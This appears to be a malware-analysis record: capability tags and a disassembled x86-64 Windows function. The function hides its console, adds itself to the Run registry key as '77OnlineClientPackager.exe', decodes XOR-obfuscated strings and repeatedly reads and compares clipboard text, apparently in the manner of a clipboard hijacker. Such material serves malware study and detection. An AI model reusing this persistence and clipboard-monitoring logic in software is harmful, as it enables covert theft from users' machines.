Function at 0x140020d90
Capabilities:
Get session user name
Open clipboard
Persist via run registry key
Read clipboard data
Set registry value
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x4c0
movaps xmmword [rax - 0x38], xmm6
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140046080]
xor rax, rsp
mov qword [rbp + 0x450], rax
xor esi, esi
lea rcx, [rbp + 0x1b0]
call fcn.140020160
nop
lea rbx, [0x140047250]
lea rdi, [0x140047770]
nop word [rax + rax]
mov rdx, rbx
lea rcx, [rbp + 0xe8]
call fcn.140022c40
lea rcx, [rbp + 0xe8]
mov r9, qword [rbp + 0xe8]
mov r10, qword [rbp + 0x100]
cmp r10, 7
cmova rcx, r9
lea r8, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 7
cmova r8, qword [rbp + 0x1d0]
mov rdx, qword [rbp + 0x1e0]
cmp rdx, qword [rbp + 0xf8]
jne 0x140020e69
test rdx, rdx
je 0x14002131a
sub r8, rcx
nop
movzx eax, word [rcx + r8]
cmp ax, word [rcx]
jne 0x140020e69
add rcx, 2
sub rdx, 1
jne 0x140020e50
jmp 0x14002131a
cmp r10, 7
jbe 0x140020ea4
lea rdx, [r10*2 + 2]
mov rax, r9
cmp rdx, 0x1000
jb 0x140020e9c
add rdx, 0x27
mov r9, qword [r9 - 8]
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400212f2
mov rcx, r9
call fcn.140030910
add rbx, 0x20
cmp rbx, rdi
jne 0x140020df0
lea rbx, [0x140046e60]
lea rdi, [0x140047200]
nop
mov rdx, rbx
lea rcx, [rbp + 0x108]
call fcn.140022c40
lea rcx, [rbp + 0x108]
mov r9, qword [rbp + 0x108]
mov r10, qword [rbp + 0x120]
cmp r10, 7
cmova rcx, r9
lea r8, [rbp + 0x1b0]
cmp qword [rbp + 0x1c8], 7
cmova r8, qword [rbp + 0x1b0]
mov rdx, qword [rbp + 0x1c0]
cmp rdx, qword [rbp + 0x118]
jne 0x140020f39
test rdx, rdx
je 0x14002131a
sub r8, rcx
nop
movzx eax, word [rcx + r8]
cmp ax, word [rcx]
jne 0x140020f39
add rcx, 2
sub rdx, 1
jne 0x140020f20
jmp 0x14002131a
cmp r10, 7
jbe 0x140020f74
lea rdx, [r10*2 + 2]
mov rax, r9
cmp rdx, 0x1000
jb 0x140020f6c
add rdx, 0x27
mov r9, qword [r9 - 8]
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400212f2
mov rcx, r9
call fcn.140030910
add rbx, 0x20
cmp rbx, rdi
jne 0x140020ec0
lea rbx, [0x140047b80]
lea rdi, [0x140047be0]
nop
mov rdx, rbx
lea rcx, [rbp + 0x128]
call fcn.140022c40
lea rcx, [rbp + 0x128]
mov r9, qword [rbp + 0x128]
mov r10, qword [rbp + 0x140]
cmp r10, 7
cmova rcx, r9
lea r8, [rbp + 0x210]
cmp qword [rbp + 0x228], 7
cmova r8, qword [rbp + 0x210]
mov rdx, qword [rbp + 0x220]
cmp rdx, qword [rbp + 0x138]
jne 0x140021009
test rdx, rdx
je 0x14002131a
sub r8, rcx
nop
movzx eax, word [rcx + r8]
cmp ax, word [rcx]
jne 0x140021009
add rcx, 2
sub rdx, 1
jne 0x140020ff0
jmp 0x14002131a
cmp r10, 7
jbe 0x140021044
lea rdx, [r10*2 + 2]
mov rax, r9
cmp rdx, 0x1000
jb 0x14002103c
add rdx, 0x27
mov r9, qword [r9 - 8]
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400212f2
mov rcx, r9
call fcn.140030910
add rbx, 0x20
cmp rbx, rdi
jne 0x140020f90
lea rbx, [0x140047f00]
lea rdi, [0x140048100]
nop
mov rdx, rbx
lea rcx, [rbp + 0x148]
call fcn.140022c40
lea rcx, [rbp + 0x148]
mov r9, qword [rbp + 0x148]
mov r10, qword [rbp + 0x160]
cmp r10, 7
cmova rcx, r9
lea r8, [rbp + 0x230]
cmp qword [rbp + 0x248], 7
cmova r8, qword [rbp + 0x230]
mov rdx, qword [rbp + 0x240]
cmp rdx, qword [rbp + 0x158]
jne 0x1400210d9
test rdx, rdx
je 0x14002131a
sub r8, rcx
nop
movzx eax, word [r8 + rcx]
cmp ax, word [rcx]
jne 0x1400210d9
add rcx, 2
sub rdx, 1
jne 0x1400210c0
jmp 0x14002131a
cmp r10, 7
jbe 0x140021114
lea rdx, [r10*2 + 2]
mov rax, r9
cmp rdx, 0x1000
jb 0x14002110c
add rdx, 0x27
mov r9, qword [r9 - 8]
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400212f2
mov rcx, r9
call fcn.140030910
add rbx, 0x20
cmp rbx, rdi
jne 0x140021060
lea rbx, [0x140047780]
lea rdi, [0x140047b80]
nop
mov rdx, rbx
lea rcx, [rbp + 0x168]
call fcn.140022c40
lea rcx, [rbp + 0x168]
mov r9, qword [rbp + 0x168]
mov r10, qword [rbp + 0x180]
cmp r10, 7
cmova rcx, r9
lea r8, [rbp + 0x250]
cmp qword [rbp + 0x268], 7
cmova r8, qword [rbp + 0x250]
mov rdx, qword [rbp + 0x260]
cmp rdx, qword [rbp + 0x178]
jne 0x1400211a9
test rdx, rdx
je 0x14002131a
sub r8, rcx
nop
movzx eax, word [rcx + r8]
cmp ax, word [rcx]
jne 0x1400211a9
add rcx, 2
sub rdx, 1
jne 0x140021190
jmp 0x14002131a
cmp r10, 7
jbe 0x1400211e4
lea rdx, [r10*2 + 2]
mov rax, r9
cmp rdx, 0x1000
jb 0x1400211dc
add rdx, 0x27
mov r9, qword [r9 - 8]
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400212f2
mov rcx, r9
call fcn.140030910
add rbx, 0x20
cmp rbx, rdi
jne 0x140021130
lea rbx, [0x140047be0]
lea rdi, [0x140047ec0]
nop
mov rdx, rbx
lea rcx, [rbp + 0x188]
call fcn.140022c40
lea rax, [rbp + 0x188]
mov r9, qword [rbp + 0x188]
mov r10, qword [rbp + 0x1a0]
cmp r10, 7
cmova rax, r9
lea r8, [rbp + 0x270]
cmp qword [rbp + 0x288], 7
cmova r8, qword [rbp + 0x270]
mov rdx, qword [rbp + 0x280]
cmp rdx, qword [rbp + 0x198]
jne 0x140021279
test rdx, rdx
je 0x14002131a
sub r8, rax
nop
movzx ecx, word [r8 + rax]
cmp cx, word [rax]
jne 0x140021279
add rax, 2
sub rdx, 1
jne 0x140021260
jmp 0x14002131a
cmp r10, 7
jbe 0x1400212b0
lea rdx, [r10*2 + 2]
mov rax, r9
cmp rdx, 0x1000
jb 0x1400212a8
add rdx, 0x27
mov r9, qword [r9 - 8]
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400212f2
mov rcx, r9
call fcn.140030910
add rbx, 0x20
cmp rbx, rdi
jne 0x140021200
movups xmm6, xmmword [0x140047200]
movups xmmword [rbp + 0x290], xmm6
lea rcx, [rbp + 0x290]
call fcn.14001f390
nop
psrldq xmm6, 8
movq rcx, xmm6
and ecx, 0x400000
je 0x1400212f9
test ax, ax
setne bl
jmp 0x140021300
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
cmp ax, 0x64
setae bl
lea rcx, [rbp + 0x290]
call fcn.14001f710
mov edx, esi
movzx ecx, bl
test al, al
cmove edx, ecx
test dl, dl
je 0x140021323
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.140008e40
mov r8d, 0x104
lea rdx, [rbp + 0x340]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400213d5
lea rcx, [rbp + 0x340]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140021390
inc eax
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x340]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str._77OnlineClientPackager.exe
mov rcx, qword [rbp + 0xc0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0xc0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.140009460
mov dword [rbp + 0xc0], 0x101
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x340]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
movabs rdi, 0x749c8a053a39cac5
movabs r14, 0x5cd78418ad968286
xorps xmm1, xmm1
mov r8, 0xffffffffffffffff
test eax, eax
je 0x140021449
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
movdqu xmmword [rbp + 0xd8], xmm1
lea rax, [rbp + 0x340]
inc r8
cmp byte [rax + r8], 0
jne 0x140021433
lea rdx, [rbp + 0x340]
jmp 0x1400214ce
movabs rax, 0x21f2fd6a5452a490
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x20], rax
movabs rax, 0x5cd78418ade4e7f5
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x28], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x290], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x298], rax
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x290]
movdqa xmmword [rbp + 0x20], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
movdqu xmmword [rbp + 0xd8], xmm1
lea rax, [rbp + 0x20]
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400214c0
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xc8]
call fcn.14001fc20
nop
lea rax, [rbp + 0x20]
mov qword [rbp], rax
movabs rax, 0x11f1eb6b485cb990
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x40], rax
movabs rax, 0x5cd78418ad96a2bc
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x48], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x290], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x298], rax
movdqa xmm0, xmmword [rbp + 0x40]
xorps xmm0, xmmword [rbp + 0x290]
movdqa xmmword [rbp + 0x40], xmm0
lea r8, [rbp + 0xc8]
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x20]
call fcn.140023c00
mov rbx, rax
movabs rax, 0x11f5e6461a4eaf8b
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x2c0], rcx
movabs rax, 0x39b9ea77eeb6f6e8
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x2c8], rcx
movabs rax, 0xc784aee5ec968eb4
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2d0], rax
movabs rcx, 0x5e8b8996a8e6a608
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2d8], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2a8], rax
movabs rax, 0xc784aecb88f3fad7
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2b0], rax
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2b8], rax
vmovdqu ymm0, ymmword [rbp + 0x2c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2a0]
vmovdqa ymmword [rbp + 0x2c0], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x2e0], xmm0
mov qword [rbp + 0x2f0], rsi
mov qword [rbp + 0x2f8], rsi
lea rax, [rbp + 0x2c0]
mov r8, 0xffffffffffffffff
vzeroupper
inc r8
cmp byte [rax + r8], 0
jne 0x140021642
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x2e0]
call fcn.14001fc20
nop
mov rdx, rbx
lea rcx, [rbp + 0x2e0]
call fcn.140006590
lea rcx, [rbp + 0xc0]
call fcn.140008d60
movabs r12, 0x4e94914f0000
lea r13, [0x1400460f0]
mov r15, qword [rbp]
mov rax, qword [rbp + 0xc0]
mov r14d, 0xff
movabs r9, 0x7fffffffffffffff
movabs r8, 0x7fffffffff67697f
mov rcx, rax
cmp rax, r8
lea rbx, [rax + 0x989680]
jl 0x1400216c3
mov rbx, r9
movabs rsi, 0x431bde82d7b634db
nop dword [rax]
lea rcx, [rbp + 8]
call fcn.140008d60
mov rax, qword [rbp + 8]
cmp rbx, rax
je 0x140021732
mov ecx, 1
cmovl ecx, r14d
test cl, cl
jle 0x140021732
mov rcx, rbx
sub rcx, rax
cmp rcx, r12
jge 0x140021726
mov rax, rsi
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x14002171d
inc rdx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
jmp 0x1400216d0
mov ecx, 0x5265c00
call sub.KERNEL32.dll_Sleep
jmp 0x1400216d0
cmp byte [0x140046e24], 0
mov esi, 0
movabs r14, 0x749c8a053a39cac5
je 0x14002181b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x13e9e8605e62eacf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0x3db9e13893bba2db
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0xc784aeeaec9696b5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rdx, 0x5e8b8996a8e6a608
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2a0], rax
movabs rax, 0x5cd78418ad968286
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a8], rax
movabs rax, 0xc784aecb88f3fad7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b0], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x2b8], rax
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x2a0]
vmovdqa ymmword [rbp + 0x20], ymm1
lea rdx, [rbp + 0x20]
vzeroupper
call fcn.140023ec0
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x14002187e
mov ecx, 7
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rbx, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], rsi
mov qword [rbp + 0x38], rsi
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], sil
jne 0x140021854
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.14001fc20
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.USER32.dll_CloseClipboard]
lea r15, [rbp + 0x20]
jmp 0x140021887
cmp r13, r15
je 0x140021907
mov rdx, qword [0x140046108]
cmp rdx, 0xf
jbe 0x1400218c8
inc rdx
mov rcx, qword [0x1400460f0]
cmp rdx, 0x1000
jb 0x1400218c3
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140021fbf
mov rcx, r8
call fcn.140030910
mov qword [0x140046100], rsi
mov qword [0x140046108], 0xf
mov byte [0x1400460f0], sil
movups xmm0, xmmword [r15]
movups xmmword [0x1400460f0], xmm0
movups xmm1, xmmword [r15 + 0x10]
movups xmmword [0x140046100], xmm1
mov qword [r15 + 0x10], rsi
mov qword [r15 + 0x18], 0xf
mov byte [r15], sil
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x140021942
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002193d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140021fbf
call fcn.140030910
mov qword [rbp + 0x30], rsi
mov qword [rbp + 0x38], 0xf
mov byte [rbp + 0x20], sil
movabs rdi, 0x5cd78418ad968286
cmp byte [0x140046e24], sil
je 0x140021a50
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xe4ef514962eacf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x290], rax
movabs rax, 0x5cd7843893bba2db
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x298], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2e0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2e8], rax
movdqa xmm0, xmmword [rbp + 0x290]
xorps xmm0, xmmword [rbp + 0x2e0]
movdqa xmmword [rbp + 0x290], xmm0
mov r8, r13
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x20]
call fcn.140023c00
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x1400219f9
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call fcn.140026f10
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x140021a40
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021a3b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140021fc6
call fcn.140030910
mov qword [rbp + 0x30], rsi
mov qword [rbp + 0x38], 0xf
mov byte [rbp + 0x20], 0
mov rdx, r13
lea rcx, [rbp + 0x2a0]
call fcn.140022f00
mov rcx, rax
call fcn.140007c20
test al, al
je 0x140021a72
mov ebx, 1
jmp 0x140021a9e
call fcn.140008440
test al, al
je 0x140021a82
mov ebx, 2
jmp 0x140021a9e
call fcn.140008680
test al, al
je 0x140021a92
mov ebx, 3
jmp 0x140021a9e
call fcn.140008a90
neg al
sbb ebx, ebx
and ebx, 5
mov dword [0x140046e20], ebx
cmp byte [0x140046e24], 0
je 0x140021b89
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x4e5f8465362eacf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0x28b6e96ac2d0edf2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0xc784aeebb6deda8a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rdx, 0x5e8b8996a8e6a608
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2a8], rax
movabs rax, 0xc784aecb88f3fad7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b0], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x2b8], rax
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x2a0]
vmovdqa ymmword [rbp + 0x20], ymm1
lea rdx, [rbp + 0x20]
vzeroupper
call fcn.140023ec0
mov edx, dword [0x140046e20]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov ebx, dword [0x140046e20]
cmp ebx, 5
jne 0x140021c27
mov rdx, r13
lea rcx, [rbp + 0x2a0]
call fcn.140022f00
mov rbx, rax
mov qword [rbp], rax
mov rdx, rax
lea rcx, [rbp + 0x50]
call fcn.140022f00
mov rcx, rax
call fcn.140005270
lea r8, [0x140035a78]
mov rdx, rbx
lea rcx, [rbp + 0x50]
call fcn.140023d60
mov rcx, rax
call fcn.1400077f0
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140021c12
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140021c0d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140021fcd
mov rcx, r8
call fcn.140030910
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov ebx, dword [0x140046e20]
lea rdx, [0x140047210]
cmp qword [0x140047228], 0xf
cmova rdx, qword [0x140047210]
mov rcx, r13
mov rsi, qword [0x1400460f0]
mov r14, qword [0x140046108]
cmp r14, 0xf
cmova rcx, rsi
mov rdi, qword [0x140046100]
cmp rdi, qword [0x140047220]
jne 0x140021c73
mov r8, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140021ce1
lea rdx, [0x140047230]
cmp qword [0x140047248], 0xf
cmova rdx, qword [0x140047230]
mov rcx, r13
cmp r14, 0xf
cmova rcx, rsi
cmp rdi, qword [0x140047240]
jne 0x140021caa
mov r8, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140021ce1
lea rdx, [0x140047ed0]
cmp qword [0x140047ee8], 0xf
cmova rdx, qword [0x140047ed0]
mov rcx, r13
cmp r14, 0xf
cmova rcx, rsi
cmp rdi, qword [0x140047ee0]
jne 0x140021cf2
mov r8, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140021cf2
lea rcx, [rbp + 0xc0]
call fcn.140008d60
jmp 0x140021690
test ebx, ebx
je 0x140021ce1
cmp ebx, 5
je 0x140021ce1
cmp ebx, 1
jne 0x140021d09
lea rdx, [0x140047210]
jmp 0x140021d23
cmp ebx, 2
jne 0x140021d17
lea rdx, [0x140047230]
jmp 0x140021d23
cmp ebx, 3
jne 0x140021d34
lea rdx, [0x140047ed0]
lea rcx, [rbp + 0x50]
call fcn.140022f00
mov rcx, rax
call fcn.1400077f0
lea rax, [rbp + 0x50]
mov qword [rbp + 0x20], rax
movabs rax, 0x54f8ef6c4a56a9e5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0x39a5e07cccb6ece7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0xb3a4caa5e9d389a4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rax, 0x2cefedf78892c760
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
movabs rax, 0x1163d2b6eaea968c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0xd58f1e645f6347f9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
movabs rcx, 0xdf6bd7d738d1f8fb
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
movabs rdx, 0xb381b202daaab9fc
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
movabs rdi, 0x749c8a053a39cac5
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x300], rax
movabs rsi, 0x5cd78418ad968286
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x308], rax
movabs rax, 0xc784aecb88f3fad7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x310], rax
movabs rax, 0x5e8b8996a8e6a608
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x318], rax
movabs rax, 0x3117bdd1ca99e5e9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x320], rax
movabs rax, 0xf4eb7b142f0a2b9a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x328], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x330], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x338], rax
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x300]
vmovdqa ymmword [rbp + 0x80], ymm1
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x320]
vmovdqa ymmword [rbp + 0xa0], ymm1
lea r8, [rbp + 0x80]
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0x50]
vzeroupper
call fcn.140023d60
mov rbx, rax
movabs rax, 0x4f5e6461a4eaf8b
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x40], rcx
movabs rax, 0x5cd78418ad9682a7
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x48], rcx
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2c0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2c8], rax
movdqa xmm0, xmmword [rbp + 0x40]
xorps xmm0, xmmword [rbp + 0x2c0]
movdqa xmmword [rbp + 0x40], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x2a0], xmm0
xor esi, esi
mov qword [rbp + 0x2b0], rsi
mov qword [rbp + 0x2b8], rsi
lea rax, [rbp + 0x40]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], sil
jne 0x140021f85
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x2a0]
call fcn.14001fc20
nop
mov rdx, rbx
lea rcx, [rbp + 0x2a0]
call fcn.140006590
lea rcx, [rbp + 0xc0]
call fcn.140008d60
jmp 0x140021690
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3